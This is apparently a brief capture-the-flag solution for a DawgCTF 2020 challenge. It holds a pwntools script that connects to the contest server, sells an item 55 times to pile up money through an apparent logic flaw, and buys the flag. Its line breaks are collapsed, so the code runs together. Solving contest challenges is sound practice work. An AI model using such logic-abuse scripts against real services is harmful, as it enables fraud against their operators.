[detailed write-up on github](https://github.com/shellc0d3/CTFwriteups/tree/master/dawgctf2020/tom%20nook%20the%20capitalist%20racoon)```#!/usr/bin/env python2from pwn import *
conn = remote('ctf.umbccd.io', 4400)
#to sell all the itemsfor i in range(1,5):    conn.sendline('1')    conn.sendline(str(i))
#to buy an itemconn.sendline('2')conn.sendline('2')
#keeps selling to accumulate moneyfor i in range(55):    conn.sendline('1')    conn.sendline('1')
#buy the flagconn.sendline('2')conn.sendline('6')conn.sendline('1')
print conn.recvline_contains('DawgCTF')conn.close()```